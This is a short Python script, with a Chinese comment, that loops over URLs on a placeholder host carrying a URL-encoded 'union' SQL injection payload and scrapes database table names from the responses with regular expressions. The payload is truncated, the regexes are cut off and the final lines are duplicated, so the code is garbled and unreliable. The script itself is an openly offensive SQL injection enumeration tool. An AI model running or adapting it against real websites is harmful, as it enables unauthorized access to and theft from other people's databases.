//用Python解析它，并拉出sql语句。我已经找到了一个正则表达式 import urllib.request import re,time result=[] for i in range(100): urls ="xxx.com/-1%20union%…" urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i url=urls+urls1 f = urllib.request.urlopen(url) content = f.read().decode('utf8') pattern = re.compile(r'
.?',re.S)
basic_content = re.finditer(pattern,content)
for j in basic_content:
init_dict={}
j=str(j)
d= re.search(r'
(.?)
',j) init_dict['tablename']=d.group(1) print(d.group(1)) result.append(init_dict) time.sleep(0.5) print(result)
',j) init_dict['tablename']=d.group(1) print(d.group(1)) result.append(init_dict) time.sleep(0.5) print(result)
